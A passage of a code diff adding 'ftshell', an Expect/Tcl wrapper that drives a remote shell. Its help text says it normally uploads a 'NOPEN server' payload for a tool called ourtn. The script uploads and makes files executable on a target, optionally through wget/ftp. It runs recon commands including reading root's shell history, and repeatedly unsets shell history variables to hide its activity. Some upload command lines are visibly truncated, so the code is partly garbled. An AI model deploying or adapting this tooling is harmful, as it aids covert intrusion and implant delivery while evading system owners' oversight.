} + if [regexp "no " $uncompressPath] { + set uncompressPath "Not found" + } + if [regexp "no " $gzipPath] { + set gzipPath "Not found" + } + } + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + send_verbose "\nPATH TO: uudecode $uudecodePath\n" + send_verbose "PATH TO: perl $perlPath\n" + send_verbose "PATH TO: uncompress $uncompressPath\n" + send_verbose "PATH TO: gzip $gzipPath\n\n" + + send_verbose "disabling echo: " + send "stty -echo\r" + expect -re $prompt + + set nocompress "" + set usegzip "" + if ![regexp "uncompress" $uncompressPath] { + send_verbose "No uncompress\n" + if ![ regexp "gzip" $gzipPath] { + send_verbose "No compress or gzip...will not compress upload\n" + set nocompress "yes" + } else { + send_verbose "No compress but there is gzip...will uncompress with gzip -dc\n" + set usegzip "yes" + } + } + + if ![regexp "uudecode" $uudecodePath] { + send_verbose "No uudecode\n" + if ![regexp "perl" $perlPath] { + send_verbose "No perl or uudecode...cannot send file\n" + send "stty echo\r" + return + } else { + send_verbose "Using perl for uudecode\n" + set uudecodeCMD "$perlPath -e ' +\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/; +open (OUT,\"> \$file\") if \$file ne \"\"; +while (<>) { + last if /^end/; + next if /a-z/; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack (\"u\",\$_) ; +} +close (OUT); +chmod oct \$mode, \$file ; +print \"Just created \$file: + +ls -al \$file*\\n\"; +print `ls -al \$file*`; +'" + } + } else { + set uudecodeCMD $uudecodePath + } + + + set needEOF 0 + if [string match *.uu $infile] { + send_user "not encoding or compressing" + set local_cmd "cat $infile" + set remote_cmd "cat > $outfile < $outfile && rm -f $label" + } else { + set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" + } + } + + send_verbose "\nlocal command: $local_cmd\n" + send_verbose "remote command: $remote_cmd\n" + + if [rcmd "touch $outfile\r"] { + send_user "put failed -- can't write to destination file\n" + expect -re $prompt + send "stty echo\r" + log_user 1 + return 1 + } + + if { $needEOF == 1 } { + # Turn off PS2 prompt for hear-is documents + if [rcmd "PS2=\r"] { + send_user "Unable to clear PS2 variable\n" + expect -re $prompt + log_user 1 + return 1 + } + } + + # Calculate amount of data to transfer + send_user "\nTotal bytes to transfer: " + set fp [open "|$local_cmd | wc -c" r] + gets $fp buf + send_user "$buf\n" + + # Issue remote command to recieve data + send_verbose "sending ...\n" + send "\r" + expect -re $prompt + send "$remote_cmd\r" + + log_user 0 + set sentLines 0 + + set fp [open "|$local_cmd" r] + set bytesTransfered 0 + while 1 { + if {-1 == [gets $fp buf]} break +# send -- "$buf\n" + send -- "$buf\r" + updateStatus "sent" [string length $buf] + # Delay here keeps FC3 ftshell client in synch? + set pausenow [expr $sentLines % 10] + if {$pausenow == 0} { + exec usleep 2 + } + } + updateStatus "sent" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + if ($needEOF) { + send "EOF\r" + } else { + send "\r" + } + + close $fp + + + if [file executable $infile] { + if [rcmd "chmod +x $outfile\r"] { + send_user "chmod failed\n" + } + } + + rcmd "stty echo\r" + send "ls -l $outfile*\r" + expect -re $prompt + + log_user 1 +} + +proc interactivebanner {} { + global showthis + set nowTime [timestamp] + + send_user "+\n+ ftshell: ENTERING INTERACTIVE MODE at \n\+ " + send_user [timestamp -format " %c" -seconds $nowTime] + send_user " $showthis\n+-----------------------------------------------------\n" +} + +proc execbash {forced} { + global dobash + global prompt + global usewhich + global usesetenv + global bashcount + + # argument forced forces another exec bash even if + # $bashcount or !$dobash (allows ~~B to work). + + if { $bashcount && !$forced } { + return + } + if { $dobash || $forced } { + set bashcount [expr $bashcount + 1] + set findwith "type" + if ($usewhich) { + set findwith "which" + } + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + dounsets + send "$findwith bash && $setshell && exec bash\r" + expect -re $prompt + dounsets + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } +} +proc dounsets {} { + global prompt + + send "\r" + expect -re $prompt + send "unset HISTFILE HISTSIZE HISTFILESIZE\r" + expect -re $prompt +} + +proc dothisfirst {} { + global dothisquiet + global dothisreallyquiet + global prompt + global showthis + global donealready + + dounsets + if { $donealready } { + return + } + set donealready 1 + if { ![string match "yes" $dothisquiet] } { + send "ls -alrt / | tail\r" + expect -re $prompt + send "ls -alrt /tmp | tail\r" + expect -re $prompt + send "cd /dev ; ps -ef | grep $$\r" + expect -re $prompt + send "cd /tmp ; ps -ef | grep $$\r" + expect -re $prompt + } + if { ![string match "yes" $dothisreallyquiet] } { + send "tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r" + expect -re $prompt + send "w ; date ; date -u ; df -k ; uname -a ; cd /tmp ; pwd\r" + expect -re $prompt + } else { + send "cd /tmp ; pwd\r" + expect -re $prompt + } +} + +proc interactive {} { + global prompt + global dodothis + global dobash + global user_break + global showthis + global usewhich + global usesetenv + + if { [string match "yes" $dodothis] } { + dothisfirst + } + interactivebanner + send "\r" + expect -re $prompt + # this does nothing if dobash not set + execbash 0 + + while [catch "interact ~~ cmd" msg] { + send_user "interact failed - perhaps the connection died\n" + send_user "hit (c) to continue agin, or (q) to quit\n" + stty -raw echo + expect_user { + c { send_user "continue...\n" } + q { send_user "quitting...\n"; exit 1 } + } + stty raw -echo + # exit 1 + } + if ($user_break) { + exit 1 ; + } else { + exit 0 + } +} + +proc processUpload {} { + global prompt + global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn + global user_spawn_id + global uudecodeCMD + global user_break + global uRemoteUploadCommand + global dobash + global usewhich + global usesetenv + global dothisreallyquiet + + stty raw -echo + + # If the user presses CTRL-c, pass it on and switch to interactive mode + expect_after { + -i $user_spawn_id \003 { + send "\003" + set user_break 1 + set dothisreallyquiet "yes" + send_user "\n\nUSER BREAK--ENTERING INTERACTIVE MODE (-Quietly)\n\n" + interactive + } + } + + send_user "ftshell : Processing upload\n" + +# dounsets + # this does nothing if dobash not set + execbash 0 + + dothisfirst + + if { [string match "" $uBeforeCmd] == 0 } { + send "$uBeforeCmd\r" + send "echo ebc\r" + expect { + -re "(.*)ebc\r\n.*$prompt" { } + } + send "\r" + expect -re $prompt + } + + if { [string length $uRemoteUploadCommand] > 0 } { + send "\r" + expect -re $prompt + send_verbose "ABOUT TO UPLOAD $uRemoteFile via::${uRemoteUploadCommand}::\r" + send "${uRemoteUploadCommand}\r" + expect -re $prompt + } else { + if { [string length $uLocalFile] > 0 } { + if { [string length $uRemoteFile] > 0 } { + put $uLocalFile $uRemoteFile + } else { + put $uLocalFile $uLocalFile + } + if { [string length $uudecodeCMD] <= 0 } { + send "stty echo\r" + set user_break 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a\n" + sleep 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m\n" + sleep 2 + interactive + } + } else { + + } + } + + if { [string length $uAfterCmd] > 0 } { + send "$uAfterCmd\r" + expect -re $prompt + } + + if { $uStayOn } { + interactive + } else { + send "echo eac\r" + expect -re "(.*)eac\r\n.*$prompt" + send "exit\r" + expect eof + } + exit 0 +} + +proc cmd {} { + global prompt + + set CTRLZ \032 + + send_user "Command (g,p,? for more): " + expect_user { + g { + if [catch {get_main} msg] { + send_user "get command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "\r" + send "stty echo\r" + stty raw -echo + send "\r" + } + } + p { + if [catch {put_main} msg] { + send_user "put command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "stty echo\r" + stty raw -echo + send "\r" + } + } + c chdir + v verbose + B { + send_user "Switching to bash if we can" + execbash 1 + } + e toggleExitCheck + ~ {send "~"} + "\\?" { + send_user "?\n" + send_user "~~g get file from remove system\n" + send_user "~~p put file to remote system\n" + send_user "~~c change/show local directory\n" + send_user "~~~ send ~ to remote system\n" + send_user "~~? this list\n" + send_user "~~v verbose mode toggle (currently [verbose_status])\n" + send_user "~~e exit code check toggle (currently [exitCheck])\n" + send_user "~~B switch to bash via exec bash/unsets if possible\n" + send_user "~~^Z suspend\n" + } + $CTRLZ { + stty -raw echo + exec kill -STOP 0 + stty raw -echo + } + -re . {send_user "unknown command\n"} + } + send_user "resuming session...\n" + send "\r" + expect -re $prompt +} + +# Chatch SIGINT +trap -code { + send_user "\n" + send_user "got a control-C\n" + error controlc +} SIGINT + +# Begin main routine + +if [info exists env(EXPECT_PROMPT)] { + set prompt $env(EXPECT_PROMPT) +} else { +# set prompt "\[ (%|:|#|\\$)]*.*(%|:|#|\\$)\[ ]*$" + set prompt "\[ (>|%|:|#|\\$)]*.*(>|%|:|#|\\$)\[ ]*$" +# set prompt "(%|:|#|\\$)\[ ]*$" +} + +set user_break 0 +set version 3.10.2.1 +set timeout -1 +set verbose_flag 1 +set checkExitStatus 1 +set bytesTransfered 0 +set sawCtrlC 0 +set donealready 0 +set bashcount 0 + +# Get a version of uudecode that writes the output to stdout +# This is for the local system, not the remote one. +set os [exec uname -s] +if {[string compare $os "Linux"] == 0} { + set uudecode "uudecode -o /dev/stdout" +} elseif {[string compare $os "SunOS"] == 0} { + set uudecode "uudecode -p" +} else { + send_user "Unknown OS type '$os', can't determine args to uudecode\n"; + exit 1 +} + +# Give response to -v version request and exit +if {[string match "-v" $argv] == 1} { + send_user "ftshell Version $version\n" + exit 0 +} + +if {[string match "-h" $argv] == 1} { + send_user " +Usage: ftshell \[options\] program \[arguments\] + +ftshell is an expect script that (locally) runs the program \[arguments\] +provided, normally some sort of shell access to another Unix system. +It allows for either automatic or interactive upload/download of files +using some combination of uu*code, compress, gzip, perl. + +Or, using the -U option, automatic file transfer can be achieved via a +user-provided string which results in a file being transferred to the +system (e.g., ftp, wget, etc.) + +Normally, ftshell is used by ourtn and the payload being uploaded is a +NOPEN server. But ftshell is usable directly by the user, as well. + +OPTIONS (MUST BE SPACE DELIMITED, EACH OPTION GETTING ITS OWN \"-\") + + -h/-v Show usage/version. + -I Run some info gathering commands when connected, before + either automatic upload/execution or user interaction. + Commands run: + ls -alrt / | tail + ls -alrt /tmp | tail + cd /dev ; ps -ef | grep \$\$ + cd /tmp ; ps -ef | grep \$\$ + tail /.*history | strings ; echo ======= + tail /root/.*history | strings + w ; date ; date -u ; df -k ; uname -a + cd /tmp ; pwd + -q Used with -I, skips the first four lines above. + -Q Used with -I, skips all but the last line above. + -B Try to exec bash if available. + -E Use setenv to set variables not \"VAR=val\". + -u file Upload file automatically once connected. If upload cannot + be done due to lack of proper Unix commands on target, an + interactive shell is provided instead. Use the \$A and \$B + environment variables to prepare for and run the file, + respectively, or to otherwise do stuff on target. + -w Use which (not type) to find target commands for upload. + -r rname Uploaded file name on target. + -L Leave the shell in interactive mode after automatic upload + is complete. (Default is to exit the shell.) + -U Execute the commands in the local file + /current/.ourtn-ftshell-upcommand on the target + to upload the file rather than the -u method. End result + must be that rname exists in /tmp. This will normally be a + wget or ftp command. If for some reason (e.g., a previous + failed attempt) the right binary is already there, file + could just contain \"echo\", to basically do nothing at that + step. (ftshell -U option is used by ourtn -V.) + +ENVIRONMENT VARIABLES + B Run the contents of \$B before the automatic upload. + A Run the contents of \$A after the automatic upload. + SHOWTHIS String to show user once connected. + +ftshell Version $version +" + exit 0 +} + +send_user "+------------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+------------------------------------------------------\n" +if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] { + # what if -I is an argument of something ftshell is wrapping? + # Then we fix it here. + if [regexp "(.*)\\-I (.*)" $ava ignore avaa avbb] { + set ava "$avaa $avbb" + set avb "-I $avb" + } + set argv "$ava $avb" + send_user "ftshell -I : Issuing recon commands\n" + set dodothis "yes" +} else { + set dodothis "" +} + +if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -q : Being quiet about it (no ps or ls)\n" + set dothisquiet "yes" +} else { + set dothisquiet "" +} + +if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -Q : Being REALLY quiet about it (no tail, ps, ls, date or uname)\n" + set dothisquiet "yes" + set dothisreallyquiet "yes" +} else { + set dothisreallyquiet "" +} + +if [regexp "(.*)\\-w (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -w : Using which instead of type\n" + set usewhich 1 +} else { + set usewhich 0 +} + +if [regexp "(.*)\\-E (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -E : Using setenv syntax\n" + set usesetenv 1 +} else { + set usesetenv 0 +} + +if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -B : Switching to /bin/bash if available\n" + set dobash 1 +} else { + set dobash 0 +} + +# See if uudecode (and therefore uuencode) is around LOCALLY. +if [catch "exec which uudecode" msg] { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} +if {[string match "/*" $msg] == 0} { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} + +set OtherUpload 0 + +if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] { + set argv "$ava $avb" + if { [string match "via*" $uLocalFile] } { + send_user "ftshell -u : uploading ${uLocalFile}\n" + set uLocalFile "" + set OtherUpload 1 + } else { + send_user "ftshell Local File : $uLocalFile\n" + } +} else { + set uLocalFile "" +} + +if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] { + send_user "ftshell Remote File : $uRemoteFile\n" + set argv "$ava $avb" +} else { + set uRemoteFile "" +} + +if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] { + send_user "ftshell -L : Keeping shell alive\n" + set uStayOn 1 + set argv "$ava $avb" +} else { + set uStayOn 0 +} + +if [regexp "(.*)\\-U (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + if ![file exists /current/.ourtn-ftshell-upcommand] { + send_user "FATAL: Using -U option without /current/.ourtn-ftshell-upcommand\n\n" + exit 1 + } + set uRemoteUploadCommand "[exec cat /current/.ourtn-ftshell-upcommand]" + send_user "ftshell -U : Using preset upload string (next line)\n" + send_user " : $uRemoteUploadCommand\n" + if {[string compare $uRemoteUploadCommand ""] == 0} { + send_user "Could not find any remote upload command in /current/.ourtn-ftshell-upcommand (-U)" + exit 1 + } +} else { + set uRemoteUploadCommand "" +} + +if [info exists env(B)] { + set uBeforeCmd $env(B) + send_user "ftshell Before Command: $uBeforeCmd\n" +} else { + set uBeforeCmd "" +} + +if [info exists env(A)] { + set uAfterCmd $env(A) + send_user "ftshell After Command : $uAfterCmd\n" +} else { + set uAfterCmd "" +} + +if [info exists env(SHOWTHIS)] { + set showthis $env(SHOWTHIS) +} else { + set showthis "" +} + +if [catch "spawn $argv" msg] { + send_user "spawn failed: $msg\n" + send_user "\nDid by chance you forget to specify a command to run?\n" + send_user " $argv\n" + exit $? +} + +if { [string length $uLocalFile] > 0 } { + processUpload +} else { + if { [string length $uRemoteUploadCommand] > 0 } { + processUpload + } else { + if { $OtherUpload } { + processUpload + } + } +} + +# if string length $uLocalFile > 0 || +# string length $uRemoteUploadCommand > 0 || +# $OtherUpload { +# processUpload +# } + +send_user "\n" +send_user "+-----------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+ Use ~~ to access menu/commands.\n" +send_user "+ You may need to add extra ~ characters if you\n" +send_user "+ are logged in via something like rlogin.\n" +send_user "+ Typing a ^C during a file transfer, will probably\n" +send_user "+ kill this program and anything you run through it\n" +send_user "+ \n" +send_user "+ New: Interactive mode now always executes a few\n" +send_user "+ commands (unset, ps, grep, w, date, etc.)\n" +send_user "+-----------------------------------------------------\n" + +#expect -re $prompt +#send "exec sh\r" +#expect -re $prompt + +set user_break 0 + + +interactive diff --git a/Linux/bin/ftshell.v3.10.3.2 b/Linux/bin/ftshell.v3.10.3.2 new file mode 100755 index 0000000..79095ca --- /dev/null +++ b/Linux/bin/ftshell.v3.10.3.2 @@ -0,0 +1,1194 @@ +#!/bin/sh +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# Run this in expect, the backslash makes the next line (exec) +# a comment to expect but not the shell \ +exec expect -f "$0" -- ${1+"$@"} + +## $RCSfile: ftshell.tcl,v $ $Revision: 1.46 $ + +# +# ftshell -- File Transfer Shell +# +# An expect wrapper arround telnet that adds functions +# via an "~~" escape to up/down -load files. +# + +# Toggle verbose status +proc verbose {} { + global verbose_flag + set verbose_flag [expr !$verbose_flag] + send_user "verbose [verbose_status]\r\n" +} +# Return verbose status +proc verbose_status {} { + global verbose_flag + if ($verbose_flag) { + return "on" + } else { + return "off" + } +} +# send_user if verbose is on +proc send_verbose {msg} { + global verbose_flag + + if $verbose_flag { + send_user $msg + } +} + +# Toggle check of remote commands +proc toggleExitCheck {} { + global checkExitStatus + set checkExitStatus [expr !$checkExitStatus] + send_user "check exit status [exitCheck]\r\n" +} + +# Get value of exitCheck +proc exitCheck {} { + global checkExitStatus + if ($checkExitStatus) { + return "on" + } else { + return "off" + } +} + +# local cd +proc chdir {} { + stty -raw echo + send_user "c\n" + send_user "current directory : [pwd]\n" + send_user "change to directory: " + expect_user -re "(.*)\n" { + set newDir $expect_out(1,string) + if [string length $newDir] { + if [catch {cd $newDir} msg] { + send_user "failed: $msg\n" + } + send_user "local directory now: [pwd]\n" + } else { + send_user "local directory unchanged\n" + } + } + stty raw -echo +} + +# get names for file for a 'get' +proc get_main {} { + global prompt + stty -raw echo + send_user "g\nget remote file \[localfile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (remote) $f1 to (local) $f2\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $expect_out(1,string)\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +#get names of files for a 'put' +proc put_main {} { + global prompt + stty -raw echo + send_user "p\nput localfile \[remotefile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (local) $f1 to (remote) $f2\n" + send "sh\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + dounsets + put $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $f1\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + put $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +# Get PID on remote system +proc getrpid {} { + global prompt + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } +} + +# +# update the bytes transfered status message. Update the display +# no more often then once per second unless 'amount' is 0 which +# means fource an update. +# Negative 'amount's may not work as expected. +# +proc updateStatus {direction amount} { + global bytesTransfered + global lastUpdateStatus + global startTime + global sentLines + + if {$bytesTransfered == 0} { + send_user "\n" + set lastUpdateStatus 0 + set startTime [timestamp] + send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime] + } + + set newTime [timestamp] + if { $amount != 0 } { + # Add one for the newline + set bytesTransfered [expr $bytesTransfered + $amount + 1] + set sentLines [expr $sentLines + 1] + } + + # Only update once per second. however, + # if amount is 0 then force update + if {$lastUpdateStatus < $newTime || $amount == 0} { + set lastUpdateStatus $newTime + set timeDelta [expr $newTime - $startTime] + if {$timeDelta == 0} { + set dataRate 0 + } else { + set dataRate [expr $bytesTransfered / $timeDelta] + } + send_user "\r" + send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate B/s " + } + # Adding this TINY pause once each 10 lines seems to keep expect happy locally. + # Without it (at least on Fedora Core 3), garbage was introduced into + # uuencoded data being transferred. +} + +# Run command via send on remote system +# Waits till comand has completed and then grabs +# its exit status and returns that +proc rcmd {cmd} { + global prompt + global checkExitStatus + + send_verbose "rcmd--> $cmd\n" + send -- $cmd + expect -re $prompt + + if {$checkExitStatus == 0} { + return 0 + } + + set ologuser [log_user 1] +# set ologuser [log_user 0] + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?\n" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + + log_user $ologuser + + # Return to normal modes -- so calling routine need + # only do a return. + if {$status != 0} { + send "stty echo\r" + set cmd [string trimright $cmd "\r"] + send_user "remote command '$cmd' failed; code=$status\n" + log_user 1 + } + + return $status +} + +# Get file from remote system +proc get {infile outfile} { + global prompt verbose_flag bytesTransfered + global uudecode + + + if (!$verbose_flag) { + log_user 0 + } + + send_verbose "disabling echo: " +# send "echo not doing stty -echo\r" + send "stty -echo\r" + expect -re $prompt + + set label "uulabel" + if [string match *.uu $infile] { + send_user "not encoding or compressing\n" + set remote_cmd "cat $infile" + set local_cmd "cat > $outfile" + } elseif [regexp "\.(Z|gz|bz2)$" $infile] { + send_user "not compressing\n" + set remote_cmd "cat $infile | uuencode $label | cat" + set local_cmd "$uudecode > $outfile" + } else { + set remote_cmd "compress -fc $infile | uuencode $label | cat"; + set local_cmd "$uudecode | uncompress -cf > $outfile" + } + + send_verbose "\nremote command: $remote_cmd\n" + send_verbose "local command: $local_cmd\n" + + # Calculate amount of data to transfer + send_user "Total bytes to transfer: " + send "$remote_cmd | wc -c\r" + expect -re $prompt + + set out [open "|$local_cmd" w] +# send_verbose "open returned\n" + + send "$remote_cmd\r" + + + log_user 0 + + set bytesTransfered 0 + expect { + -re "^end\r\n" { + puts $out "end" + close $out + updateStatus "received" [string length "end"] + } + -re "^(\[^\r]*)\r\n" { + puts $out $expect_out(1,string) + updateStatus "received" [string length $expect_out(1,string)] + exp_continue + } + -re "xfer\\$ $" { +exp_continue + send_user "caught prompt - aborting xfer\n" + send '\003' + } + } + updateStatus "received" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + expect -re $prompt + + + send "stty echo\r" + log_user 1 +} + +# send file to remote system +proc put {infile outfile} { + global prompt verbose_flag bytesTransfered + global errorCode + global errorInfo + global uudecodeCMD + global usewhich + global sentLines + + set uudecodeCMD "" + if (!$verbose_flag) { + log_user 0 + } + + # Note: We can't assume that uudecode on the remote + # system takes the -p argument :-( + +# send_verbose "remote pid is " +# send "echo $$\r" +# expect -re "(.*)\r\n.*$prompt" { +# set rpid $expect_out(1,string) +# } + + set uudecodePath "not found" + set perlPath "not found" + set uncompressPath "not found" + set gzipPath "not found" + + # This (may) avoids incorrectly NOT recognizing the output of type +# send "\r" +# expect -re $prompt + + if (!$usewhich) { + send "type uudecode perl uncompress gzip\r" + # sleep may help avoid incorrectly NOT recognizing the output of type? + sleep 1 + expect -re "(.*)\r\n.*$prompt" { + regexp "uudecode is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "perl is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "uncompress is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "gzip is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } +# expect -re "(.*)\r\n.*$prompt" { +# regexp "is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath +# regexp ".*\r\n.*is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath +# regexp ".*\r\n.*\r\n.*is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath +# regexp ".*\r\n.*\r\n.*\r\n.*is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath +# } + } else { + send "setenv HOME \"\"\r" + sleep 1 + expect -re $prompt + send "HOME=\"\" export HOME\r" + sleep 1 + expect -re $prompt + send "which uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "(/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "(/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "(/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "(/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if [regexp "no " $uudecodePath] { + set uudecodePath "Not found" + } + if [regexp "no " $perlPath] { + set perlPath "Not found" + } + if [regexp "no " $uncompressPath] { + set uncompressPath "Not found" + } + if [regexp "no " $gzipPath] { + set gzipPath "Not found" + } + } + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + send_verbose "\nPATH TO: uudecode $uudecodePath\n" + send_verbose "PATH TO: perl $perlPath\n" + send_verbose "PATH TO: uncompress $uncompressPath\n" + send_verbose "PATH TO: gzip $gzipPath\n\n" + + send_verbose "disabling echo: " + send "stty -echo\r" + expect -re $prompt + + set nocompress "" + set usegzip "" + if ![regexp "uncompress" $uncompressPath] { + send_verbose "No uncompress\n" + if ![ regexp "gzip" $gzipPath] { + send_verbose "No compress or gzip...will not compress upload\n" + set nocompress "yes" + } else { + send_verbose "No compress but there is gzip...will uncompress with gzip -dc\n" + set usegzip "yes" + } + } + + if ![regexp "uudecode" $uudecodePath] { + send_verbose "No uudecode\n" + if ![regexp "perl" $perlPath] { + send_verbose "No perl or uudecode...cannot send file\n" + send "stty echo\r" + return + } else { + send_verbose "Using perl for uudecode\n" + set uudecodeCMD "$perlPath -e ' +\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/; +open (OUT,\"> \$file\") if \$file ne \"\"; +while (<>) { + last if /^end/; + next if /a-z/; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack (\"u\",\$_) ; +} +close (OUT); +chmod oct \$mode, \$file ; +print \"Just created \$file: + +ls -al \$file*\\n\"; +print `ls -al \$file*`; +'" + } + } else { + set uudecodeCMD $uudecodePath + } + + + set needEOF 0 + if [string match *.uu $infile] { + send_user "not encoding or compressing" + set local_cmd "cat $infile" + set remote_cmd "cat > $outfile < $outfile && rm -f $label" + } else { + set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" + } + } + + send_verbose "\nlocal command: $local_cmd\n" + send_verbose "remote command: $remote_cmd\n" + + if [rcmd "touch $outfile\r"] { + send_user "put failed -- can't write to destination file\n" + expect -re $prompt + send "stty echo\r" + log_user 1 + return 1 + } + + if { $needEOF == 1 } { + # Turn off PS2 prompt for hear-is documents + if [rcmd "PS2=\r"] { + send_user "Unable to clear PS2 variable\n" + expect -re $prompt + log_user 1 + return 1 + } + } + + # Calculate amount of data to transfer + send_user "\nTotal bytes to transfer: " + set fp [open "|$local_cmd | wc -c" r] + gets $fp buf + send_user "$buf\n" + + # Issue remote command to recieve data + send_verbose "sending ...\n" + send "\r" + expect -re $prompt + send "$remote_cmd\r" + + log_user 0 + set sentLines 0 + + set fp [open "|$local_cmd" r] + set bytesTransfered 0 + while 1 { + if {-1 == [gets $fp buf]} break +# send -- "$buf\n" + send -- "$buf\r" + updateStatus "sent" [string length $buf] + # Delay here keeps FC3 ftshell client in synch? +# set pausenow [expr $sentLines % 10] +# if {$pausenow == 0} { +# 20060303: Now we do this once per line + exec usleep 1 +# } + } + updateStatus "sent" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + if ($needEOF) { + send "EOF\r" + } else { + send "\r" + } + + close $fp + + + if [file executable $infile] { + if [rcmd "chmod +x $outfile\r"] { + send_user "chmod failed\n" + } + } + + rcmd "stty echo\r" + send "ls -l $outfile*\r" + expect -re $prompt + + log_user 1 +} + +proc interactivebanner {} { + global showthis + set nowTime [timestamp] + + send_user "+\n+ ftshell: ENTERING INTERACTIVE MODE at \n\+ " + send_user [timestamp -format " %c" -seconds $nowTime] + send_user " $showthis\n+-----------------------------------------------------\n" +} + +proc execbash {forced} { + global dobash + global prompt + global usewhich + global usesetenv + global bashcount + + # argument forced forces another exec bash even if + # $bashcount or !$dobash (allows ~~B to work). + + if { $bashcount && !$forced } { + return + } + if { $dobash || $forced } { + set bashcount [expr $bashcount + 1] + set findwith "type" + if ($usewhich) { + set findwith "which" + } + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + dounsets + send "$findwith bash && $setshell && exec bash\r" + expect -re $prompt + dounsets + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } +} +proc dounsets {} { + global prompt + + send "\r" + expect -re $prompt + send "unset HISTFILE HISTSIZE HISTFILESIZE\r" + expect -re $prompt +} + +proc dothisfirst {} { + global dothisquiet + global dothisreallyquiet + global prompt + global donealready + global 